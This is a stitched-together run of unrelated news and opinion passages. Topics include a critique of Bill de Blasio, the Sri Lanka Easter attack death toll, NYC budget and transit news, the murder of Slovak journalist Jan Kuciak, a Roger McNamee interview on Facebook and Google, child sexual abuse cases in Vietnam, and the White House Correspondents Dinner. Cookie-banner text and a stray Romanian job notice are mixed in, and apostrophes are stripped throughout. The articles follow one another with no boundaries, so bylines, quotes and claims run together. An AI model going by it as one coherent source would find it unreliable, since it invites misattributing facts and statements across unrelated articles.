them, and the city fails to address the seriously mentally ill, all too visible on its streets. Respect for science-based regulation? The mayor has spent five years bullying horse carriage drivers on false claims of abuse and poor working conditions, with no real reason for the pressure except that key de Blasio donors dislike the horse carriage industry. One force behind the Trump victory nearly three years ago hasnt dissipated: the desire to drain the swamp. Trump has left plenty of swamp to drain. But is de Blasio the person to do it? The mayor is the consummate special-interest politician; his latest pay-to-play scandal is for the city to pay an above-market price for a portfolio of homeless hotels owned by a family with a key donor connection to the mayor. In a hypothetical debate with the current president extremely hypothetical at this point, to be sure de Blasio would have no moral authority to take on Trumps own shady real estate practices. De Blasio, despite his rhetoric, has never been a good radical; hes too beholden to the local fundraising machine. But hes also not a good technocrat: key initiatives to turn around underperforming high schools and help people with mental illnesses have failed, with the mayor barely noticing. Its not clear which path, ultimately, Democratic primary voters will choose, but they would seem to want one of these two choices and the mayor fits neither bill. Cookie Preferences Cookie List Cookie List A cookie is a small piece of data (text file) that a website when visited by a user asks your browser to store on your device in order to remember information about you, such as your language preference or login information. Those cookies are set by us and called first-party cookies. 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You may opt out of our use of such cookies (and the associated sale of your Personal Information) by using this toggle switch. You will still see some advertising, regardless of your selection. Because we do not track you across different devices, browsers and GEMG properties, your selection will take effect only on this browser, this device and this website. The miscalculation due to the difficulty in identifying the bodies parts of the victims. Today, on Friday of Islamic prayer, Muslim leaders invite people to stay in their homes. All Christian churches remain closed and liturgical services suspended until full security is guaranteed. Colombo (AsiaNews / Agencies) - Sri Lankan authorities have revised down the number of deaths in the Easter massacres in three churches and three hotels in Colombo, to "100 fewer". The announcement was made yesterday by Defense Minister Ruwan Wijewardene, who admits a miscalculation due to the conditions of the corpses, difficult to identify and recompose. Therefore the official budget is now 253 victims, instead of the 359 previously declared; the number of wounded remains stable, over 500. Meanwhile, investigations into the most serious massacre since 11 September 2001 continue. President Maithripala Sirisena this morning announced that the police would be on the trail of 140 people connected to the Islamic State (IS), which claimed responsibility for the attacks. However, for the time being the government continues to believe that the first perpetrators are two local Islamic groups (National Thowheed Jamath and al Jamaat-ul-Mujahideen) with alleged links with foreign forces. Today, Friday, the holy day for Islam, the security alert is at maximum levels for places of worship in the Muslim community of the island. All Ceylon Jamiyathul Ullama, the main Islamic religious group, invites the faithful to recite prayers at home. Meanwhile, reports are arriving that several hundred Muslims are taking refuge in mosques for greater security. About 700 have packed into the mosque in Negombo. Out of 22 million inhabitants, Muslims represent almost 10% of the population; Christians are 7.4% (6.1% Catholics and 1.3% Protestants). Even with regard to the Christian population the situation remains critical. Church leaders have ordered the closure of churches and the interruption of all liturgical services until the security of places of worship and the community of faithful is fully guaranteed. Card Malcom Ranjith, archbishop of Colombo, asked priests not to celebrate masses in public places. "Security is important," he said. There have been many reasons for subway delays over the years: signal problems, sick passengers even dogs, cats and goats scampering on the tracks. On Wednesday, the cause for disruptions was nothing so cute a small plastic bottle on the tracks forced a trains brakes to automatically activate, wreaking havoc on the system. Much like in the classic fairy tale of the princess and the pea, it seems the citys subway system is hypersensitive to even the smallest of inconveniences. NYCs ballooning budget Michael Appleton/Mayoral Photography New York City Mayor Bill de Blasio released his $92.5 billion executive budget proposal, a $3.3 billion increase from last years enacted budget. Despite the increase, de Blasio forced agencies to make $629 million in cuts, the first time he has done so. The budget includes $22 million for census outreach, which falls well short of the $60 million advocates had asked for. It slashes funding by $9 million for ThriveNYC, first lady Chirlane McCrays signature mental health program that has drawn criticism. Other priorities include $60 million to make buildings more energy efficient and $59 million for health programs like measles vaccinations. Pharma felony charges A pharmaceutical distributor for the first time is facing federal drug trafficking charges for its role in the opioid crisis. Prosecutors in the Southern District of New York said that two former executives at Rochester Drug Cooperative, Laurence Doud and William Pietruszewski, ignored warning signs and knowingly shipped painkillers to pharmacies that were illegally distributing them. Prosecutors also brought conspiracy charges against the company, which entered into an agreement to avoid going to court and will pay $20 million in fines. Even more measles Phichet Chaiyabin/Shutterstock At least 390 people have contracted measles during a recent outbreak concentrated in Orthodox Jewish communities, according to the New York City Health Department. The vast majority of those cases have been in Williamsburg, Brooklyn, where the city has ordered all residents to receive a vaccine or face penalties. Nationwide, federal health officials reported 695 cases of measles, the highest figure since the disease was declared eradicated in the U.S. in 2000, in large part due to the city outbreak and a separate one in Rockland County. Late date for Democratic presidential primary The state Democratic Party said it plans to hold New Yorks Democratic presidential primary on April 28, more than two months after primary season kicks off with the Iowa caucuses and later than past New York primary dates, which tended to be in March or February. Some say an early primary date would give the state more influence before a clear front-runner emerges, but state Democratic Party Chairman Jay Jacobs said he expects the crowded field of contenders to keep things competitive longer in 2020. Cross-Hudson congestion concession Sean Pavone/Shutterstock New Jersey Gov. Phil Murphy said he and Gov. Andrew Cuomo reached an agreement on exemptions for New Jersey drivers once congestion pricing in Manhattan kicks in. Murphy said all three Hudson River crossings would be treated the same, including the George Washington Bridge, which does not let out directly into the central business district, as well as the Lincoln and Holland tunnels. Transit advocates interpreted that to mean drivers from New Jersey will not have to pay the congestion fee. But the Metropolitan Transportation Authoritys Patrick Foye said he had no knowledge of any such deal. And a spokesman for Cuomo said the MTA makes the final decision, and it is far away from reaching any conclusions yet. Clearing out 14th Street New York City will shut down a significant section of 14th Street in Manhattan to private traffic as part of its plan to accommodate L train commuters while the MTA reduces service to make repairs to the lines Canarsie Tunnel into Brooklyn. Only trucks and buses will be able to travel between Third and Ninth avenues on 14th Street, with side lanes for truck loading and for local traffic to make pickups, dropoffs or to access parking garages. The pilot program is intended to speed up buses and is set to begin in June about a month after repairs are scheduled to begin. Paper bag fee in NYC The New York City Council voted to adopt a 5-cent fee on paper bags beginning next year. The state recently passed a statewide ban on plastic bags that included the option for counties to assess a surcharge on paper bags. The bill that passed in New York City includes similar exemptions as the plastic bag legislation, including for restaurant takeout bags. According to council members, the fee is not aimed at raising revenue, but to encourage more people to use reusable bags. A.O. PRIMARIA MEA este in cautare de o companie IT sau de un intreprinzator individual pentru crearea si dezvoltarea unei pagini web a organizatiei In February 2018, Beata Balogovathe editor of SME, Slovakias biggest independent dailywas in Hungary, just across the southern border. She was talking to Hungarian journalists about the erosion of their countrys free press under Prime Minister Viktor Orban. They were telling me how they envied Slovakiahow we still have a vibrant, critical media despite oligarchs buying shares in big newspapers, Balogova recalls. Then she got a phone call. Jan Kuciak, a 27-year-old investigative reporter with Aktuality.sk, a Slovakian website, had been murdered at his home. Martina Kusnirova, his fiancee, had also been killed. It was clear that the couple had been targeted because of Kuciaks work: he had made a name for himself reporting on the shady financial dealings of oligarchs and their ties to Slovakias government. Balogova knew Kuciak a littlehe had been collaborating with SME on a story about Italian mafia influence in Slovakia before he was killed. At that moment, I was wondering, what is worse: an autocrat suffocating the critical media, or the murder of a journalist? Balogova says. I think that we instantly realizedthe whole journalistic communitythat it is a crossroads, it is a huge warning sign. The killings of Kuciak and Kusnirova unleashed Slovakias biggest protests since the end of communism. In their aftermath, Robert Fico, the prime minister, a press-bashing populist, resigned from office. A few weeks ago, the countrys presidential election ended in an upset: Zuzana Caputovaa liberal outsider with progressive social views, including press freedomwas voted in, an outlier in a part of the world where authoritarian attitudes toward the media reign. ICYMI: After Mueller report drops, a noticeable temperature shift at Fox News Caputovawho rose to prominence fighting a 14-year legal battle against a toxic-waste dump in her town (shes been called the Erin Brockovich of Slovakia)has said that the murder of Kuciak, and the protests it sparked, informed her decision to run for president. When she entered the race, she was polling in the single digits (Slovakia is a conservative Catholic country) but she found fans outside the establishment. An impressive performance during televised debates pushed her into serious contention, as did a consistent anti-corruption message. Journalists like Balogova were not surprised that continued public anger at Kuciaks death manifested itself at the ballot box. For them, Caputovas ascent has been a gift. According to Foreign Policy, a majority of prominent media personalities endorsed her; .tyzden, a weekly magazine, put her image on its cover four weeks in a row. On one of those occasions, the image was accompanied by the word Hope. Sign up for CJR 's daily email The international press has also lavished attention on Caputova. Since 1993, when Slovakia cleaved from the Czech Republic, the country has mostly passed under the radar, particularly compared to its bigger Central European neighbors, Poland and Hungary, where, in recent years, sharp rightward turns have made headlines. Kuciaks murderand the attendant coverage of Ficos governmentput Slovakia right up alongside them in conversations about the rise of authoritarian populism. Now, with Caputova as president, the country is suddenly being discussed as a liberal regional counterweight. Such talk, however, feels premature. In Slovakia, the presidency is mostly a ceremonial position. The president wields power over vetoes, judicial appointments, and the military, but real authority rests with parliament. Peter Pellegrini, the prime minister, is seen by many observersincluding Peter Bardy, editor of Aktuality.sk; Milan Nic, a political researcher; and Tibor Macak, secretary general of the Association of European Journalistsas a puppet of Fico, who has continued to serve as chairman of Smer, the Slovak parliaments largest party. As far as the press is concerned, the levers of true power are still in hostileif glovedhands. Slovakia has retained a relatively free media climateit placed 35th out of 180 countries on the 2019 World Press Freedom Index, which Reporters Without Borders published last week. (The United States placed 48th.) This ranking, however, masks a recent drop: in 2016, Slovakia placed 12th. Between that high-water mark and Kuciaks murder, officials doubled down on aggressive anti-press rhetoric. And there have been other institutional signs of trouble. Probably a year before the murder, we reinforced our sources on the ground, guessing that we would need to monitor the country better, Pauline Ades-Mevel, head of the European Union and Balkans desk at Reporters Without Borders, says. Two or three months before the murder, I called [on] the public television to maintain its independence, and the Slovak authorities to stop interfering. In 2016, Fico called journalists dirty, anti-Slovak prostitutes; the press, he said, had conspired to harm the country during its spell in the European Unions rotating presidency. (Reporters had merely raised questions about Ficos management of public funds.) In 2017, he called journalists ignorant and offered to show them how to do their jobs. After a hiatus following the death of Kuciak, Fico returned to media-bashing: during the recent election, he accused Balogova of defaming Slovakia in an interview she gave to an Austrian newspaper. Its not only me who Robert Fico attacks, Balogova says. This war has been going on for a longer time. Five months before Kuciak died, he received a threatening phone call from Marian Kocner, one of Slovakias richest men. According to The New York Times, Kocner lashed out after Kuciakwho had written a series of stories on Kocners allegedly corrupt business dealingscalled Kocner for an upcoming piece. Kuciak contacted the police, who took more than a month to pick up his case; when they eventually did, it was quickly dismissed. Kuciak was not alone: Adam Valceka reporter at SME who had been collaborating with Kuciakwas also threatened by Kocner. Following Kuciaks death, Valcek realized that he had been placed under surveillance; he, too, filed a complaint with the police, and for a long time, heard nothing back. According to SME and other Slovak media, Peter Toth, a former Slovak intelligence official, eventually testified that he had spied on five reporters at Kocners request. Motivated, in part, by a lack of confidence in Slovak authorities, after Kuciaks body was found, some of his former colleagues decided to find out what happened. In February, Pavla Holcova and Eva Kubaniova published a detailed reconstruction of the murder on the website of the Organized Crime and Corruption Reporting Project (OCCRP), an investigative-journalism network with which Kuciak was collaborating at the time of his death. In the piece, Holcova and Kubaniova report that an employee of Kocners paid hit men to kill Kuciak. At the beginning, we were really skeptical about the capability of Slovak police to investigate the murder properly, because there were many mistakes at the initial stage of the investigation, Holcova says. The bodies were moved, someone opened the window, and they set the time of the death totally wrong. Last spring, while Holcovawho is based in the Czech Republic, where she runs an investigative journalism center partnered with OCCRPwas in Bratislava reporting on Kuciaks murder, she went to the police station to give testimony on what she knew of his death; the meeting turned into a seven-hour interrogation, she says. There were three investigators asking a lot of questions. It was quite intense. One of the officers said that he didnt like Holcovas life attitude. They asked her if she was working for the secret service, then confiscated her phone. In March, authorities charged Kocner with ordering Kuciaks murder. (He was already awaiting trial on unrelated fraud charges. An attorney representing Kocner did not respond to an email or WhatsApp message seeking comment. Kocner has previously denied wrongdoing.) Then, in April, Slovakian media reported that Miroslav Marcek, a former soldier, confessed to carrying the killing out. In written answers provided to CJR, a Slovak police spokesperson said that the complaints that had been made by Kuciak and Valcek were investigated but not found to constitute criminal offenses. The prosecutors office agreed. The spokesperson acknowledged shortcomings in the Kuciak murder investigation, and said that steps have been taken to improve public confidence in the police. She added that five people have now been charged in the Kuciak case. The opinion of the public is also influenced to a great extent by information that is only learned from the media, which are often subjective and do not reflect reality, she said. The Kuciak episode has highlighted the enormous influence of oligarchs in Slovakian society, including their incestuous relations with government and law-enforcement officials. As is increasingly the case across the region, their power extends to the press. In recent years, local oligarchs have invested in Slovakias media industry, jostling to dislodge the Western-European publishing companies that helped cultivate the countrys press in the wake of the Cold War. In 2014, a company run by Czech and Slovakian tycoons bought a stake in SME. Matus Kostolny, who was the editor at the time, left in protest along with several of his staffers; they set up Dennik N, a new independent daily. Balogova says that she was brought in to SME to steady the ship. Today, the very toxic oligarchic group is in minority she says of her employers owners. Still, its presence makes our situation more difficult. We have to be even more careful. We really worked hard to keep the publishing house independent. What can Caputova do about this situation? Probably not much. The government, which is still led by Ficos party, Smer, looks in the mood to punish the press. (Smer did not respond to emails seeking comment.) Its now trying to pass a law, updating an existing statute, that would require newspapers to give politicians a right of response when they believe their honor, dignity, or privacy has been impugned. Many Slovak journalists see the law as a cudgelpoliticians, they say, will likely use it to undermine their editorial independence. If the law is passed after Caputova takes office, in June, she will have the power to veto it. But parliament would almost certainly overrule her. The symbolism of Caputovas victory, however, is powerful. And more substantive change could come soon. Next spring, Slovakia will hold legislative elections, giving those who support a free press and other liberal values a chance to shake up the composition of parliament. Half of the country will probably not forget the legacy of Jan Kuciak and what it brought to public life, and it definitely will affect the coming elections, Kostolny, now the editor of Dennik N, says. Young people, in particular, understand its an ongoing fight for democracy. In the meantime, Slovakias journalists are figuring out how theyll cover her going forward. Im very curious, and Ill watch her moves in the office, Kostolny says. I experienced already so many politicians who were very nice toward the media and were talking about the role of media when they were in the campaign or in oppositionand then, after a while, they realized that they dont like media because its not nice and convenient for them. For both Kostolny and Balogova, maintaining independence will be key, even though the press is unavoidably invested in Caputovas pro-media values. I dont want my newspaper to be activist, Balogova says. I know that there is a challengein this political situationthat perhaps thats something that would attract us to join politics and to take sides. But I dont want my newspaper to do that. ICYMI: NY journalist handcuffed to railing over his head Has America ever needed a media watchdog more than now? Help us by joining CJR today Jon Allsop is a freelance journalist whose work has appeared in the New York Review of Books, Foreign Policy, and The Nation, among other outlets. He writes CJRs newsletter The Media Today. Find him on Twitter @Jon_Allsop. Roger McNamee is an investor with 35 years of experience in Silicon Valley, including stints at Silver Lake Partners and Elevation Partnersa venture firm he co-founded in 2004 with U2s Bono. McNamee was also an early investor in Facebook and a mentor to Mark Zuckerberg, an experience McNamee now has turned into a book whose title sums up his experience working with the company: Zucked: Waking Up To the Facebook Catastrophe. McNamee has made news because of his assertion that the platform is a danger to public health and democracy. He discusses fundamental flaws in the design of Facebooks algorithms and business modelflaws, he says, that allow bad actors to exploit it and harm innocent people. RELATED: Facebook is eating the world McNamee says that the culture of the technology platformsand Silicon Valley at largeechoes a larger shift in American capitalism, one that previously relied on government to set the rules and enforce them across the entire economy but now favors disruption and monopolistic tendencies. This, he says, causes employees to be indifferent to the negative side effects of their success. Earlier this month, McNamee spoke with Ann Grimes, associate director of the Brown Institute for Media Innovation, at the Stanford Graduate School of Business about his transition from tech advocate to critic. What follows are edits of his remarks organized by themes. Sign up for CJR 's daily email The Perfect Idea When Mark started Facebook, he literally started at the perfect moment. In 2006 there were a few things going on. The PayPal mafiaPeter Thiel, Reid Hoffman, Elon Muskhad two unbelievably powerful insights. The first was that the Internet was shifting from a web of pages to a web of people. The limitations of technology that had constrained everybody around here for the prior 50 years that made us focus on the narrowest most important functionality that people needed at any one time [had opened up]. For the first time, you were able to create global products. You were able to create services like Amazon web services that allowed entrepreneurs to buy the $100 million to $200 million worth of infrastructure you [previously] had to build just to launch a product. This meant the cost of a start-up was going to go from $100 million to $10 million. It meant that instead of being a 45 to 50-year-old entrepreneur you could be in your twenties. So when Mark started Facebook, he literally started it at the perfect moment. I was absolutely convinced, even in 2006, when it was just available to high school and college students through their school address, when it was just a Facebook picture with relationship status, that he was going to be bigger than Google. I was convinced of that because I had watched MySpace, Friendster and America Online all fail in their social activity, in my opinion, because a lot of trolls and bad actors were on those platforms [and Facebook [initially encouraged users to authenticate their identities.] From advisor and investor to skeptic and critic The culture of the valley at the time was shifting: replacing the hippie-libertarian movement of Steve Jobsthat notion of empowering peoplewith a different kind of libertarianism which was really more about building a monopoly, disrupting, and dominating. You didnt really worry about the rules. You just kind of went and did things. You didnt ask permission and beg forgiveness. That culture was very uncomfortable to me and in the early days I think Mark had a different view, or at least thats what I thought he had, so I was blissfully a fan. I stopped being an advisor in 2009 because the things I was good at, he didnt need any more. So Im just a cheerleader, not interacting with Mark or Sheryl [Sandberg]. Then I retired in December 2015. In January [2016], I started to see things that didnt fit my preconceived notions of this company First, during the Democratic primary in New Hampshire, I started to see [anti-Hillary] memes coming out on Facebook groups associated with the Bernie Sanders campaign. They were spreading widely among my friends in a way that suggested somebody was spending money to get people in the group whose only purpose was to spread misogynistic images. That struck me as really weird. In June of 2016, the United Kingdom voted on Brexit to leave the European Union. The outcome came as a huge shock. There was an eight-point swing the day of the referendum. It occurred to me, Wow, what if the Facebook tools that allow ideas to spread so rapidly, what if theres something about them that gives an unfair advantage to really intense nasty messages over neutral ones? Because the Leave campaign had this intense xenophobic message and the Remain campaign was Hey, stay the course. I thought if thats true, thats really bad for democracy. But I dont know, I have no data. Two other things happened: The US Department of Housing and Urban Development cites Facebook for advertising tools that enable discrimination in housing, the very thing they were sued over a few weeks ago Then, the intelligence agencies say the Russians are hacking and interfering in the US election. At that point I reach out directly to Mark and Sheryl. Theyre my friends. And so on the 30th of October, nine days before the election, I sent them a draft of an op-ed I was planning to publish. I say, Guys, I think there is something wrong with the business model and algorithms that allow bad actors to harm innocent people and weve got to get on top of it. Facebooks reaction They got right back to me and they couldnt have been more friendly. But they didnt embrace it like it was a real business issue; They treated it like a PR problem. They handed me off to a real good friend of mine, Dan Rose. But Dans job is to essentially contain the PR problem. He goes: We dont have a problem: Section 230 of the Communications and Decency Act says, Were a platform not a media company. So were not responsible for what third parties do. Turning point The election happens. At that point I go, Dan: You have got to do what Johnson and Johnson did when some asshole put poison in bottles of Tylenol in Chicago in 1982. The CEO of Johnson and Johnson the very day the story happened pulled every bottle of Tylenol off every retail shelf in the US, and Canada, no questions asked. And didnt put them back until they had a tamper-proof patch. I said, Dan, you have to leap to the defense of the people You are in the trust business. If you let the trust get broken, you will never earn it back. I spent three months begging them to do this. And hes just hiding behind Section 230. Eventually, I gave up. [Section 230 of the 1996 Communications Decency Act gives Internet companies broad immunity from content flowing over their lines, treating them much like a phone company]. Its at that point that I face a moment of truth, which maybe one or more of you will face at some point in your life. I saw something really wrongsomething with issues with democracy and issues for civil rights. I was retired. I could have sat back and said this is somebody elses problem. But the other side of the coin was, Id been a small part of this and Id profited from it. And I felt a moral and emotional need to take what I knew and try to start a conversation. The problem? its bigger than Facebook Facebook exists in the culture here in the Valley which permeates the culture of the United States of America. Where we have deregulated for 44 years. We have essentially blown a version of capitalismthe standard versionwhere the government sets the rules and enforces them across the entire economy so that its fair for everyone. We have shifted to a world with very few rules and almost no enforcement. Businesses are encouraged to grab whatever they can grab while they can grab it. Peter Drucker, who was a great management guru in the industrial age when I was young, would say: There are five stakeholders: shareholders, employees, the communities where employees live, customers and suppliers. It was the duty of management to balance the interests of all five, because thats how you maintain a zen-like harmony over time. But over the last 40 years, weve abandoned four of the five. Essentially all companies in the economy abuse their suppliers, many of them abuse their customers, they couldnt care less about the communities where people live, and many of them have treated their employees badly. That has been standard operating procedure. Now, the incentives are misaligned and its way bigger than Facebook, way bigger than Silicon Valley. If Rex Tillerson is allowed to conduct a separate foreign policy at Exxon in contravention to sanctions against Russia, if Wells Fargo bank can get away with essentially fraud, if the entire banking industry can do 2008 and not be punished, its really hard to expect Silicon Valley to have a higher set of standards I want to hold them to a higher standard, but I want to hold everyone to a higher standard than weve held them to for the last few years. Users are the fuel Facebook is the biggest problem we have for democracy. But much bigger is behavioral prediction and thats the incredible genius of Google. In 2002, Google behaved just like a classic market player. They had one product, the search engine. They gathered data from the people that used it and used that to make that product better. The business model is based on ad targeting related to purchasing ads. You want to go on vacation? You look up where to go, airlines, hotel. But when they looked at the analysis, they realize that search was capturing only a small percentage of the data and in order to make the engine better they ask, is there any signal in the rest?. They realize that only one percent of the value is in the stuff you put in. Most of it is in the unclaimed datathe metadatathe tracking, the browsing experience. If they can get all this data they can expand the value of what they are selling to advertisers. They create Gmail. Now Gmail is my identity and attached to purchase intent. They insert ads and find an excuse to read peoples emails. Hm, this is wrong? Well enhance it give it away for free Wont tell anyone were seeing emails before they target the ads. [Then] they took away the ads [in Gmail] but kept scanning emails If you are in the business of exchanging services for ads, where does reading email fit in? ICYMI: Heres what happened inside The Markup Then Google Glass, where theres lots of facial recognition, lots of [tracking] individuals walking, driving. We called them Glassholes. So they go back to the lab. They repackage it as a videogame and spit it out as a separate company, Niantic, and then call it Pokemon Go. They get a billion people wandering around on their smartphones taking pictures of everything. Now the behavioral thing is really interesting if we put Pokemon on private property will people climb over a fence? Yep. If you put a Pokemon in a Starbucks where they can buy some coffee will users go there? You bet. Do it in the third Starbucks and give you 10 cents off and see what they go for? Yes, can do that, too. Then what happens? They go Theres all this other data that other people own. Lets go buy it. So they go to your bank. They go to Datalogics. They go to Experian and Equifax. They go to cellular carriers and get all your location information. Theyve already got the data from Uber and Lyft. They go to health and wellness apps and they get all that stuff. They do all this tracking. They scan your documents. They build a data avatar for each and every one of us whether you are on the platform or not. The problem is that only one percent of the value is in the stuff you put in. Most of it is in the metadata what they are selling to advertisers is that. So now we consumers are in the behavioral manipulation business but thats not what we signed up for. Whats wrong with the model? Im not your customer. Im not even your product. Im the fuel, the source of this data. Google perfected thisbut now Facebook, Amazon and Microsoft are playing this game also. Unintended Consequences Think about what engagement is. If you are in the behavioral prediction business, the problem is you want to build a habit, then you want to feed the habit with things that engage people. It turns out that people are most engaged by stuff that triggers flight or fight, which would be outrage or fear, or real conspiracy theories, or disinformation. Nobody really knows why this information is so successful, but it is Essentially what this is about is you want to get people into an unstable state to find out what theyre really like. What happens when you expose them to a certain sentence? How do they react? What happens when you expose them to hate speech? What happens when you expose them to the threat of, lets say, a measles outbreak? The problem with the platform business model is that it depends on hate speech, fear, outrage, disinformation Im not suggesting that any of these people are bad or they did this on purpose. These are the unintended consequences of a well-intentioned strategy. In Facebooks case, the well-intended strategy was to connect the whole world. to expose all the worlds information. The problem was they were in such a hurry they failed to put in circuit breakers. They failed to think about containing strategybecause thats the culture of the time. This is just like the chemical industry 30 years ago. Chemical companies used to be able to pour mercury into freshwater.Youre a gas station, you poured used oil into the sewer. And for 50 years nobody said anything. But then the externalities started piling on and people said This is no good. And they went back to the guys who created it and said, Hey, toxic chemicals? Thats your problem. Clean it up. I think we are looking at toxic visual stuff and its time to change the culture. Solutions I want to use antitrust laws and restart a regulatory infrastructurethats really hard when the FTC and antitrust division of the DOJ have done nothing related to consumer harm since the Microsoft case. But working with people in economics and law at the university, we may have found a way to use [free market-style] Chicago School antitrust against these platforms. The model is very straightforward. Weve always said that services are free. But thats actually not correct. Its a barter of services for personal data. The data is the currency. And what happens and its really obvious whether you look at Facebook or Google, is that the price for data has been rising geometrically, at a very steep slope. The marker for that is simply data per user but the suite of services really hasnt been changing that much. And the individual value of what an action under the service is doesnt change much. And yet the value of the data they are getting is going up very significantly. Last year a Nobel Prize was awarded for similar analysis. We can use the antitrust thing that we used in the AT+T [break-up]. You create MCI, Sprint by giving them access to really low rates through the long distance model. What you are going to do is really simple. Any new startup that has a business model that fits the pattern were looking for gets free access to advertising for customer acquisition on the big platforms. Lets just say its three up to a million people. Just think about that. What would that do for innovation? If you want to solve a problem, you dont have to take away the incentive to have inappropriate stuff there in the first place. I dont want to be in the censor business. I want to be in the business of eliminating the amplification of the worst content that essentially creates political polarization and creates all these unhealthy outcomes. The first step is to ask political questions. Why is it legal for somebody to scan your email or open your documents? Why is it legal for there to be a third-party commerce in your most personal data? Why is it even legitimate to capture data on children at all? Thats the debate we need to have in 2020. And thats the debate, interestingly enough, that brings people together. Because it doesnt matter whether they are left or right. This is an issue of right or wrong. ICYMI: Dont rely on the coverage. Read the Mueller report. Has America ever needed a media watchdog more than now? Help us by joining CJR today Ann Grimes currently serves as Associate Director of the Brown Institute for Media Innovation at Stanford University where she also teaches classes in media innovation, entrepreneurship and design. Previously, she served as Director of Stanfords Graduate Program in Journalism and before that held senior editorial positions at The Wall Street Journal and The Washington Post. by Peter Thanh The man was identified thanks to Mang xa hoi, a social networking service that defends citizens from government abuses. Nguyen Huu Linh, 61, was vice president of the People's Procuratorate in a Nang City. About 2,000 children are victims of violence every year in Vietnam. In 2018, Vietnamese authorities brought to trial about 500 out of 1,300 defendants. Ho Chi Minh City (AsiaNews) The rape of an eight-year-old girl by a Party official girl has sent shockwaves across the country and started to shed some light on the problem of sexual abuse of children. The latest data from the Ministry of Labour, Invalids and Social Affairs show that some 2,000 children are victims of sexual violence each year. For experts, this is just "the tip of the iceberg". In 2018, government agencies reported 1,500 cases. In 43, the children were killed as a result of violence committed by adults, whilst in another 425, they suffered "cruel abuse". In accordance with the law, Vietnamese authorities have taken 500 people out of 1,300 defendants to court. Defendants have been tried based on "local regulations", as well as "internal processes" or "negotiations with the families of the victims". Some 112 defendants were forced to pay paltry fines. Last month for example, an official with the national government was caught abusing a girl in an elevator. For this, he was fined only 200,000 Vietnamese dongs (US$ 8.60). Another case also sparked outrage in public opinion. On the evening of 1 April, a girl of about eight was a victim of sexual violence in the elevator of a residential building in Ho Chi Minh City. The CCTV (pictured) shows the little girl escaping as soon as the doors open; panicked, she staggers out. Meanwhile, the man who raped her looks at his mobile phone as if nothing had happened. Like last months case, the culprit is a government official. Nguyen Huu Linh, 61, was also fined just US$ 8.60. The man, a former vice president of the People's Procuratorate in a Nang City, said that his actions "are normal in Vietnamese society". His identity was revealed thanks to Mang xa hoi, a social networking service that defends citizens from government abuses. As a result, several residents in the building where the violence took place filed a complaint and asked the authorities to prosecute the accused under article 146C of the 2016 Penal Code, which bans sexual relations between adults and minors under the age of 16. Last Sunday afternoon, the Ho Chi Minh City People's Procuratorate issued a precautionary measure. "In order for the authorities to investigate his obscene behavior, the defendant will not be able to leave his residence in the Hai Chau district, a Nang City." Although investigations are underway, there is a widespread fear among ordinary Vietnamese that the accused, a party official (Ong Can Bo nay), will get a light sentence. A year ago, at the White House Correspondents Dinner, Michelle Wolf performed a comedy set that killed. She brutally took down Sarah Huckabee Sanders, the press secretary, saying that she burns facts, and then she uses that ash to create a perfect smokey eye. Sanders did not laugh. Wolf called out the press: Donald Trump helped you sell your papers and your books and your TV. You helped create this monster, and now youre profiting off of him. Afterwardas prominent journalists clutched their pearlsthe leadership of the White House Correspondents Association, which hosts the dinner, said that Wolfs routine was not in the spirit of its mission. Months later, the organization announced that it would not be inviting a comedian in 2019; instead, Ron Chernow, the author of Alexander Hamilton, among other major books, would speak. The WHCA are cowards, Wolf tweeted. It will be the first time in 15 years that the dinnerwhich takes place at the Washington Hilton tomorrow nightwont feature a comedian. For a third successive year, it wont feature the president, either: in early April, Trump, calling the dinner boring and negative, announced that he would instead hold a rally in Green Bay, Wisconsin. (The last president not to attend a WHCA dinner was Ronald Reagan, who had just been shot.) Nor will any of Trumps staff be present. This week, the president banned all officials in his administration from showing up. Add a decline in A-list celebrity interest and, as Politicos John F. Harris and Daniel Lippman put it, the event is in a semi-flaccid state. The DC-dinner-industrial-complex of luxury hotels, salons, cars, and caterers has taken a hit, its denizens say. Its possible the White House Correspondents Dinner wont even be the most glamorous thing on C-SPAN this weekend, Harris and Lippman write. ICYMI: Heres what happened inside The Markup Since Trump announced that he would run for presidenta decision that some trace to his humiliation by Barack Obama and Seth Meyers, at the 2011 dinnerhe has said and done countless things to hurt the free press. Banning administration staff from a glitzy social event is not among them, however: it is, at worst, a miserly and controlling approach to their free time. Olivier Knox, the current president of the WHCA, told Politico, Lets be clear that the administration curtailing White House press briefings, Pentagon briefings, State Department briefings, is considerably more serious than if the presidents attending the correspondents dinner. Some reporters say the events decline is a shame. There are still lots of reasons why its useful for reporters and sources to schmooze, CNNs Brian Stelter wrote last night. But a growing chorus of journalists and media-watchers argue that the format is inappropriate and should be scrapped. Doing so would not end schmoozing. But it would end a public example of schmoozing at a time when trust in the press is at a low ebb. Every caricature thrust upon the national pressthat we are culturally elitist, professionally incestuous, socioeconomically detached, and ideologically biasedis confirmed by this trainwreck of an event, Politicos Tim Alberta tweeted last year. Journalists, the jokes on us. The WHCD Must Die argument has been supercharged by the Trump presidency. But it is not new. Very little about the dinner is. Wolf was not the first comedian to upset members of the press corps. In 2006, Stephen Colbert eviscerated George Bush and the media over Iraqand the next years booking, Rich Little, was play-safe counterprogramming. Ten years later, Larry Wilmore divided opinion, too. The only difference, in 2019, is that Trump, unlike Bush or Obama, is helping us kill the dinner. For once, we should not resist. As Margaret Sullivan, who argues for the dinners demise every year, writes, Trump is certainly no friend of the free press, but in his role as dinner-damper, hes done journalists a huge favor. Sign up for CJR 's daily email Below, more on the White House Correspondents Dinner: Play it again, Sam: In 2017, Samantha Bee, a late-night host and comedian, hosted Not the White House Correspondents Dinner, an alternative to the dinner that broadcast at the same time. (According to TV by the Numbers, Bee drew more viewers than the real thing.) This year, shes bringing it back. Ultimately, were honoring journalists, Bee told CBS. In 2017, Samantha Bee, a late-night host and comedian, hosted Not the White House Correspondents Dinner, an alternative to the dinner that broadcast at the same time. (According to TV by the Numbers, Bee drew more viewers than the real thing.) This year, shes bringing it back. Ultimately, were honoring journalists, Bee told CBS. Puzzling math: Defenders of the dinner often invoke its celebration of the First Amendment and role funding scholarships for students. Last year, however, CJRs Karen K. Ho found that less than half the money raised at the 2017 dinner had been spent on scholarships. The rest went to general operating expenses like the organizations searchable pool report archive or programming like panels with former White House secretaries. Defenders of the dinner often invoke its celebration of the First Amendment and role funding scholarships for students. Last year, however, CJRs Karen K. Ho found that less than half the money raised at the 2017 dinner had been spent on scholarships. The rest went to general operating expenses like the organizations searchable pool report archive or programming like panels with former White House secretaries. Not my jam: Last year, Kayla Randall reported for CJR from the White House Correspondents Jam, an invite-only WHCD-weekend event that has showcased the bands of journalists like Lester Holt and David Remnick. This year, The Washington Posts Emily Heil and Helena Andrews-Dyer report, 